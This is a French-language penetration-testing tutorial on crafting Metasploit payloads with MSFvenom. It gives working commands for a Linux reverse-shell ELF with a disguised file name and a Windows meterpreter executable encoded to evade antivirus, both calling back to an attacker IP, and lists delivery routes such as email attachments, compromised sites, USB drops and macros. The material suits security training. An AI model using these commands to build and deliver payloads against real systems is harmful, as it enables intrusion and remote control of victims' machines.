Crafting Payloads with MSFvenom

MSFvenom est un outil puissant du framework Metasploit permettant de générer des payloads adaptés à divers systèmes et situations. Dans cette page, nous allons explorer comment créer et personnaliser ces payloads pour les utiliser dans des scénarios réels, notamment lorsque nous n'avons pas un accès réseau direct à la cible.


🔎 Introduction : Pourquoi utiliser MSFvenom ?

Certaines situations n'autorisent pas l'utilisation directe d'exploits via Metasploit, faute d'accès réseau ou de contexte favorable. Dans ces cas-là, MSFvenom permet de créer un payload que l'on pourra transmettre autrement :

  • Par email (pièce jointe)

  • Via un lien de téléchargement

  • Par clé USB lors d'un test physique

  • Via des techniques d'ingénierie sociale

MSFvenom offre aussi la possibilité de chiffrer ou encoder les payloads pour contourner les antivirus.


🔢 Lister les payloads disponibles

La commande suivante permet d'afficher l'ensemble des payloads supportés :

msfvenom -l payloads

Extrait de la sortie :

linux/x86/shell/reverse_tcp           # Shell inversé (staged)
linux/zarch/meterpreter_reverse_tcp   # Meterpreter inversé (stageless)
windows/dllinject/reverse_tcp         # DLL injectée, shell inversé (staged)
windows/meterpreter_reverse_tcp       # Meterpreter stageless

Observation : Les noms suivent une structure hiérarchique, précisant l'OS, l'architecture, le type de shell, et le mode de communication.


🧳 Payloads Staged vs. Stageless

✅ Staged Payload

Un payload staged est envoyé en plusieurs étapes :

  1. Un petit code (le stager) est exécuté sur la cible.

  2. Il contacte l'attaquant pour récupérer le reste du shellcode.

Avantages :

  • Taille initiale réduite.

  • Compatible avec de nombreux exploits.

Inconvénients :

  • Moins stable en réseau lent.

  • Plus de trafic réseau (plus facile à détecter).

Exemple : linux/x86/shell/reverse_tcp


🤔 Stageless Payload

Un payload stageless contient directement l'intégralité du code malveillant. Il n'y a pas d'étape intermédiaire.

Avantages :

  • Moins de trafic réseau à l'exécution.

  • Plus stable en environnement réseau limité.

  • Souvent plus discret.

Inconvénients :

  • Taille plus importante.

Exemple : linux/zarch/meterpreter_reverse_tcp

Astuce : Dans la nomenclature, les slashes / indiquent souvent des étapes d'un payload staged. Les payloads stageless ont souvent un nom unique compact.


⚒️ Créer un payload stageless

Exemple : Reverse shell ELF pour Linux 64 bits

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.xx.xx.xx LPORT=443 -f elf > createbackup.elf

🔧 Décomposition de la commande

Option
Description

-p

Spécifie le payload à générer

linux/x64/shell_reverse_tcp

Payload stageless pour shell inversé sur Linux x64

LHOST

Adresse IP de l'attaquant (ex: <IP ATTAQUANT>)

LPORT

Port à écouter pour la connexion inversée

-f elf

Format du fichier de sortie (ici ELF pour Linux)

> createbackup.elf

Nom du fichier généré (peut être déguisé)


🚫 Contournement des protections

Pour éviter la détection par les antivirus, MSFvenom permet aussi :

  • d'encodage : -e x86/shikata_ga_nai (encode le shellcode)

  • d'obfuscation : -i <n> (nombre d'itérations d'encodage)

Exemple :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP ATTAQUANT> LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > payload.exe

🌐 Livraison du payload

Une fois généré, le challenge principal est de faire exécuter le payload par la cible. Quelques exemples de méthodes :

  • Envoi par email en tant que pièce jointe.

  • Lien de téléchargement sur un site compromis ou piège.

  • Sur clé USB dans le cadre d'un test physique.

  • Exécution via script autorun ou macro malveillante.


🔗 Conclusion

MSFvenom est un outil incontournable pour les tests d'intrusion avancés, notamment lorsqu'une approche plus "silencieuse" ou déportée est requise. Comprendre la différence entre payloads staged et stageless, et savoir les manipuler efficacement, permet de mieux s'adapter aux contraintes réelles du terrain.


Mis à jour